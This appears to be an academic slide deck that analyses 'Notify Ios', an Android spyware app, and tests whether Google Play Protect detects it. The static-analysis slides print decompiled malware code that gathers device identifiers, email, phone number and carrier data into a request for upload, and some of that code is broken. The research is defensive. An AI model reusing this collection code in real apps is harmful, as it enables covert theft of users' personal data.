Analysis of An Android Spyware Application.

By: Shinelle Hutchinson (Sam Houston State University)
Dr. Umit Karabiyik (Purdue University)
Table of Contents

- Android and the Play Store’s Security
- How Play Protect Works
- Methods of Detecting Android Malware
- Mobile App Analysis
- Investigation of the Notify Ios App
- Conclusion and Future Work
- References
Android OS

- Android’s source code is completely open-source.
- 24 flavors of the Android operating system since 2008. Most recently, Android Pie.
- Most used mobile OS in the world, accounting for 75.33% of the global market share [14].
- In 2018, 1.21 billion smartphones running the Android operating system were shipped [15].
- 1.21 billion reasons for Android to protect its users from malicious applications (apps).
The Google Play Store

- Google's official store and portal for Android apps, games, books, music, etc.
- Home of over 2.6 million apps [16].
- Android allows multiple app stores to be downloaded onto a device [17].
App Data

- Apps are capable of collecting a lot of data about us.
- This can include Personally Identifiable Information (PII).

Source: https://www.symantec.com/blogs/threat-intelligence/mobile-privacy-apps
App Permissions

- Can’t collect any data without first being granted certain permissions.
- Some of the most asked for permissions [18]:
  - Location
  - Internet
  - Modify External Storage
  - Read Phone State
- Malicious agents could use combinations of permissions to steal your PII.
Prior to 2017, Google relied on its Bouncer system to protect Android users from malware on the Play Store.

Numerous research has been done to prove that Bouncer was ineffective in detecting Android malware [19] [20].

Play Store’s Security – Play Protect

- Google’s Play Protect (GPP) uses machine learning and app usage statistics to detect malicious apps [21].
- GPP scans over 50 billion apps every day across more than two billion devices [22].
- Little to no research into GPP Service to determine its efficiency in detecting and removing malware that attempts to get onto the Play Store.
- There has been evidence of malware making its way onto the Play Store, even with the introduction of this supposedly improved system [6] [23].
How Play Protect Works [21]

- Analyze every app it finds on the Internet.
- Uses static and dynamic analysis techniques.
- Analyzes user feedback for apps on Play Store.
- Uses Logistic Regression, Deep Learning and Unsupervised Models.
- Trained to detect specific categories of Potentially Harmful Apps (PHAs).
### Android Malware Detection Methods

<table>
<thead>
<tr>
<th>Year</th>
<th>Method(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015</td>
<td>Hybrid [5]</td>
</tr>
<tr>
<td>2018</td>
<td>Behavior Based [12]</td>
</tr>
<tr>
<td></td>
<td>Taint Analysis [10]</td>
</tr>
</tbody>
</table>
Mobile App Analysis

- Step 1: Static Analysis
- Step 2: Dynamic Analysis
- Step 3: Network Analysis
Investigating an Android App

- Android.Spy.277.origin malware family.
- App name: Notify Ios
- Conduct mobile app analysis to show:
  - What this malware does
  - How it accomplishes what it does
- Notify Ios vs. Play Protect
Investigating Notify Ios—Static Analysis

- AndroidManifest.xml file
  - Package name
  - MinSDK Version
  - TargetSDK Version
  - Permissions
  - Content Filters
  - Services, etc.

```xml
<manifest>
  <versionCode>1</versionCode>
  <versionName>1.3.0.1</versionName>
  <minSdkVersion>15</minSdkVersion>
  <targetSdkVersion>21</targetSdkVersion>
  <name>Notify</name>
  <required>protectionLevel</required>
  <allowBackup>false</allowBackup>
  <hardwareAccelerated>false</hardwareAccelerated>
  <icon/></icon>
  <label>value</label>
  <screenOrientation>portrait</screenOrientation>
  <theme></theme>
  <permission/>
  <process>exported</process>
  <scheme>configChanges</scheme>
  <excludeFromRecents>true</excludeFromRecents>
  <noHistory>enabled</noHistory>
  <android>http://schemas.android.com/apk/res/android
  <package>com.inoty.cs</package>
  <platformBuildVersionCode>21</platformBuildVersionCode>
  <platformBuildVersionName>5.0-1521886</platformBuildVersionName>
  <uses-sdk>
    <uses-feature android:name="android.hardware.telephony"/>
  </uses-sdk>
</manifest>
```
## Investigating Notify Ios– Static Analysis

### Some Permissions Notify Ios Requests

<table>
<thead>
<tr>
<th>Permission</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>android.permission.SYSTEM_ALERT_WINDOW</td>
<td>Allows an application to create windows that are shown on top of all other apps.</td>
</tr>
<tr>
<td>android.permission.ACCESS_WIFI_STATE</td>
<td>Allows applications to access information about Wi-Fi networks.</td>
</tr>
<tr>
<td>android.permission.ACCESS_NETWORK_STATE</td>
<td>Allows applications to access information about networks.</td>
</tr>
<tr>
<td>android.permission.READ_CALENDAR</td>
<td>Allows an application to read the user’s calendar data.</td>
</tr>
<tr>
<td>android.permission.ACCESS_FINE_LOCATION</td>
<td>Allows an app to access the device’s precise location.</td>
</tr>
<tr>
<td>android.permission.BLUETOOTH</td>
<td>Allows applications to connect to paired Bluetooth devices.</td>
</tr>
<tr>
<td>android.permission.WAKE_LOCK</td>
<td>Allows using PowerManager WakeLocks to keep processor from sleeping or screen from dimming.</td>
</tr>
<tr>
<td>android.permission.EXPAND_STATUS_BAR</td>
<td>Allows an application to expand or collapse the status bar.</td>
</tr>
<tr>
<td>android.permission.READ_PHONE_STATE</td>
<td>Allows read only access to the features of the phone, including the phone number of the device, current cellular network information, the status of any ongoing calls, and a list of any Phone Accounts registered on the device.</td>
</tr>
<tr>
<td>android.permissionINTERNET</td>
<td>Allows applications to open network sockets.</td>
</tr>
<tr>
<td>android.permission.GET_ACCOUNTS</td>
<td>Allows access to the list of accounts in the Accounts Service.</td>
</tr>
<tr>
<td>com.android.launcher.permission.INSTALL_SHORTCUT</td>
<td>Allows an application to install a shortcut in Launcher.</td>
</tr>
<tr>
<td>android.permission.WRITE_EXTERNAL_STORAGE</td>
<td>Allows an application to write to external storage.</td>
</tr>
<tr>
<td>com.inoty.os.permission.C2D_MESSAGE</td>
<td>Only this application can receive the messages and registration result.</td>
</tr>
<tr>
<td>com.google.android.c2dm.permission.RECEIVE</td>
<td>This app has permission to register and receive messages.</td>
</tr>
</tbody>
</table>
public void a()
{
    new AsyncTask()
    {
        protected JSONArray a(Void... paramAnonymousVarArgs)
        {
            System.out.println("android_id "+com.sweet.rangernob.helper.d.d(RangerStart.a(RangerStart.this)));
            ArrayList localArrayList = new ArrayList();
            localArrayList.add(new BasicNameValuePair("app_id", i.a(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("sender_id", i.g(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("app_version_code", String.valueOf(com.sweet.rangernob.helper.d.d(RangerStart.a(RangerStart.this)))));
            localArrayList.add(new BasicNameValuePair("packageName", RangerStart.a(RangerStart.this).getPackageName()));
            localArrayList.add(new BasicNameValuePair("sdk_version_name", "5.0.0"));
            localArrayList.add(new BasicNameValuePair("android_id", com.sweet.rangernob.helper.d.d(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("time", com.sweet.rangernob.helper.d.d(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("android_version", Build.VERSION.RELEASE));
            localArrayList.add(new BasicNameValuePair("model", Build.MODEL));
            localArrayList.add(new BasicNameValuePair("email", com.sweet.rangernob.helper.d.d(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("screen", com.sweet.rangernob.helper.d.d(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("phone", com.sweet.rangernob.helper.d.d(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("api_version", String.valueOf(Build.VERSION.SDK_INT)));
            localArrayList.add(new BasicNameValuePair("country", i.j(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("cpu", i.e()));
            localArrayList.add(new BasicNameValuePair("os", i.K(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("user_agent", i.g()));
            localArrayList.add(new BasicNameValuePair("carrier", i.l(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("is_plugin", String.valueOf(RangerStart.b(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("other_app_installed_from_begin", String.valueOf(i.j(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("time_from_begin", String.valueOf(System.currentTimeMillis() - i.U(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("install_referrer", i.V(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("connection_type", com.sweet.rangernob.helper.c.c(RangerStart.a(RangerStart.this))));
            localArrayList.add(new BasicNameValuePair("connection_sub_type", com.sweet.rangernob.helper.c.d(RangerStart.a(RangerStart.this))));
            if (!RootUtil.a())
            {
                return;
            }
            String s = com.sweet.rangernob.helper.b.a(localArrayList, "json_text");
            if (s.length() <= 0)
            {
                return;
            }
        }
    }
}
public static String a()
{
    if (c.f) {}
    for (String str1 = ""; str1 = "-beta")
    {
        String str4 = "n3";
        String str3 = "rangerad";
        String str2 = "sdkngach-3.0.0";
        if (c.d.equalsIgnoreCase("plugin"))
        {
            str4 = "p";
            str3 = "clevermob";
            str2 = "sdkplugin-1.0.0";
            c.m = ".net/";
        }
        c.j = str4;
        c.l = str3;
        c.n = str2;
        return c.h + c.i + c.j + c.k + c.l + c.m + c.n + str1 + c.o;
    }
}
Investigating Notify Ios– Static Analysis

```java
protected static HttpResponse a(HttpUriRequest paramHttpUriRequest) throws IOException {
    DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient();
    localDefaultHttpClient.getParams().setParameter("http.connection.timeout", Integer.valueOf(10000));
    localDefaultHttpClient.getParams().setParameter("http.socket.timeout", Integer.valueOf(20000));
    paramHttpUriRequest = localDefaultHttpClient.execute(paramHttpUriRequest);
    if (paramHttpUriRequest.getStatusLine().getStatusCode() != 200) {
        throw new IOException("Lỗi lấy dữ liệu");
    }
    return paramHttpUriRequest;
}

public static JSONObject b(String paramString) throws IOException, JSONException {
    paramString = a(a(new HttpGet(paramString)));
    j.a(paramString);
    return new JSONObject(paramString);
}
```
Investigating Notify iOS – Dynamic Analysis

Enable Notify iOS

- Show signal strength
- Show battery percentage
- Clock Format
- Show carrier’s name
- Customize carrier’s name

Accessibility

Notification

Enable Notify iOS will be able to read all notifications posted by the system or any installed app, which may include personal information such as contact names and the text of messages sent to you. It will also be able to dismiss these notifications or touch action buttons within them.
Investigating Notify Ios– Dynamic Analysis

- Use Notify Ios?
  - Notify Ios needs to:
    - Observe your actions
      - Receive notifications when you're interacting with an app.

- Saturday, July 28th
  - Calendar
    - No Events
  - Tomorrow
    - You have no events scheduled for tomorrow.

- Gmail
  - Shinelle Hutchinson
  - FW: Nothing Still???
  - ???...Regards, Shinelle.

- Messaging
  - (650) 555-1212
  - waiting for any notification1
  - waiting for any notification2

- (650) 555-1212: Oreo is your baby brother!
Investigating Notify iOS – Network Analysis
Investigating Notify iOS– Network Analysis
Investigating Notify Ios—Review

- Makes heavy use of obfuscation.
- Permissions are abused.
- Steals PII including device IMEI number, email and MAC address.
- Can Google protect us from such apps?
### Notify Ios vs. Google Play Protect

<table>
<thead>
<tr>
<th>Test #</th>
<th>Detected</th>
<th>Observation</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 (July 28th, 2018)</td>
<td>X</td>
<td></td>
</tr>
<tr>
<td>2 (Oct 12th, 2018)</td>
<td>✓</td>
<td>Immediately flagged the app as suspicious</td>
</tr>
<tr>
<td>3 (Oct 14th, 2018)</td>
<td>✓</td>
<td>No Play Protect warning and the app simply did not install</td>
</tr>
</tbody>
</table>
Readily Available Protection

▶ How long are you willing to surrender your privacy while you wait for Play Protect to eventually identify and stop PHAs?
▶ Sometimes, you’re your own best protection.
▶ Check app permissions carefully and ensure those permissions are in line with the app’s functionality.
▶ Uninstall unused apps
Conclusion

- Your privacy is worth a lot to the wrong person.
- It is possible for some apps to covertly collect your PII and transmitted that data to unauthorized persons.
- We need another line of defense to protect ourselves from PHAs.
Future Work

- Create our own Spyware app to test the efficiency of Play Protect in stopping PHAs from making their way onto the Play Store.
- Identify certain malicious app characteristics the service is still incapable of detecting as well as specific vulnerabilities the service is still susceptible to.
- Identify other antivirus apps that provide more protection that Play Protect.
Thank You!

Questions?

Follow Up: sdh053@shsu.edu
References


References


References


References

